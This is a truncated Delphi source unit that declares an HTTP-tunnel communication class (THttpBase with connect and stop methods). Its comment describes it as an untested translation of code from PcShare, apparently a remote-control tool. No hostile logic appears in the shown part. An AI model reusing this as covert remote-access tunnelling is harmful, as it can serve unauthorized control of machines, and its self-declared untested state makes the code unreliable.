{ HTTP隧道通讯DELPHI封装,只通过语法检查,没测试。By 雪落的瞬间 QQ 418880764BLOG http://hi.baidu.com/cipherteam/BBS http://www.killabc.cn 完全翻译PcShare2个类代码。}unit hTTPPIDE; interfaceusesWindows,Shellapi,SysUtils,Variants,WinSock,Wininet,Classes; type THttpBase = Class private hHttpIe :hInternet; hHttpHc :hInternet ; public hHttpFp:hInternet; Function ConnectHttpServer(m_ServerAddr:Pchar;m_ServerPort:Word;nCmd,nStyle:DWord):Bool; procedure StopWork(); constructor Create; destructor Destroy; override; End; T